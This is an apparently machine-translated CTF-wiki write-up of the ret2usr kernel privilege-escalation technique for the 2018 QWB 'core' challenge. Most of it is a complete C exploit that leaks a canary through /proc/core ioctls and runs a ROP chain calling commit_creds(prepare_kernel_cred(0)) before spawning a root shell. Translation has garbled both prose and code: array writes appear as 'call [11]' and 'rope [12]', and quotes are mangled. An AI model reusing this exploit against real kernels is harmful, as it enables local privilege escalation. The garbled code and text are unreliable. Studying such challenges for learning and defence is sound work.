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Ret2usr

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ret2usr

The ret2usr attack exploits the user space of the user space to access the kernel space, but the kernel space can access the user space** This feature directs the kernel code or data stream to the user control, and performs the userspace code completion with the ring 0 privilege. Wait for the operation.

2018 强网杯- core

The previous article analyzed the use of [kernel rop] (https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop/#kernel-rop-2018-core) to complete the lifting of the shell. Step, this analysis uses the ret2usr method to get the root shell.

The topic is no longer analyzed, directly analyzing exp.

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <string.h>

#include <stdint.h>



size_t user_cs, user_ss, user_rflags, user_sp;

void save_status()

{

    __asm__("mov user_cs, cs;"

            "mov user_ss, ss;"

            "mov user_sp, rsp;"

&quot;pushf;&quot;
            "pop user_rflags;"

            );

    puts("[*]status has been saved.");

}





void get_shell(void){

    system("/bin/sh");

}



size_t commit_creds = 0, prepare_kernel_cred = 0;

size_t raw_vmlinux_base = 0xffffffff81000000;

size_t vmlinux_base = 0;

size_t find_symbols()

{

    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    /* FILE* kallsyms_fd = fopen("./test_kallsyms", "r"); */



    if(kallsyms_fd < 0)

    {

        puts("[*]open kallsyms error!");

        exit(0);

    }



    char buf[0x30] = {0};

    while(fgets(buf, 0x30, kallsyms_fd))

    {

        if(commit_creds & prepare_kernel_cred)

            return 0;



        if(strstr(buf, "commit_creds") && !commit_creds)

        {

            /* puts(buf); */

            char hex[20] = {0};

            strncpy(hex, buf, 16);

            /* printf("hex: %s\n", hex); */

            sscanf(hex, "%llx", &commit_creds);

            printf("commit_creds addr: %p\n", commit_creds);

            vmlinux_base = commit_creds - 0x9c8e0;

            printf("vmlinux_base addr: %p\n", vmlinux_base);

        }



        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)

        {

            /* puts(buf); */

            char hex[20] = {0};

            strncpy(hex, buf, 16);

            sscanf(hex, "%llx", &prepare_kernel_cred);

            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);

            vmlinux_base = prepare_kernel_cred - 0x9cce0;

            /* printf("vmlinux_base addr: %p\n", vmlinux_base); */

        }

    }



    if(!(prepare_kernel_cred & commit_creds))

    {

        puts("[*]Error!");

        exit(0);

    }



}





void get_root()

{

char * (* pkc) (int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;

(* cc) ((* pkc) (0));
    /* puts("[*] root now."); */

}



void set_off(int fd, long long idx)

{

    printf("[*]set off to %ld\n", idx);

    ioctl(fd, 0x6677889C, idx);

}



void core_read(int fd, char *buf)

{

    puts("[*]read to buf.");

    ioctl(fd, 0x6677889B, buf);



}



void core_copy_func(int fd, long long size)

{

    printf("[*]copy from user with size: %ld\n", size);

    ioctl(fd, 0x6677889A, size);

}





int main(void)

{

    find_symbols();

    size_t offset = vmlinux_base - raw_vmlinux_base;

    save_status();



    int fd = open("/proc/core",O_RDWR);

    set_off(fd, 0x40);

    size_t buf[0x40/8];

    core_read(fd, buf);

    size_t canary = buf[0];

    printf("[*]canary : %p\n", canary);


    size_t rop[0x30] = {0};

    rop[8] = canary ; 

    rop[10] = (size_t)get_root;

call [11] = 0xffffffff81a012da + offset; // swapgs; popfq; right
rope [12] = 0;
call [13] = 0xffffffff81050ac2 + offset; // iretq; right;
    rop[14] = (size_t)get_shell; 

    rop[15] = user_cs;

    rop[16] = user_rflags;

    rop[17] = user_sp;

    rop[18] = user_ss;



    puts("[*] DEBUG: ");

    getchar();

    write(fd, rop, 0x30 * 8);

    core_copy_func(fd, 0xffffffffffff0000 | (0x100));

}

Compare the similarities and differences between [kernel rop] (https://github.com/bash-c/pwn_repo/blob/master/QWB2018_core/rop.c).

  1. Get commit_creds and prepare_kernel_cred by reading /tmp/kallsyms, and determine the address of the gadget based on these offsets.
  2. The method of leak canary is the same, and the canary is read by controlling the global variable off.
  3. Unlike the kernel rop approach, the construction of the rop chain
  4. The kernel rop reaches the execution of commit_creds(prepare_kernel_cred(0)) by the rop chain of the kernel space, and then returns to the user mode through swapgs; iretq, etc., and executes the system(&quot;/bin/ of the user space. Sh&quot;) Get the shell
  5. In the ret2usr approach, return directly to the user space constructor's commit_creds(prepare_kernel_cred(0)) (implemented by function pointer) to raise the weight. Although these two functions are in kernel space, we are ring 0 at this time. Privileges, so it works fine. Then also pass swapgs; iretq back to the user mode to execute the user space system(&quot;/bin/sh&quot;)

A comparison of these two approaches can be seen as the reason for ret2usr because it is generally much simpler to construct a specific purpose code in user space than in kernel space.


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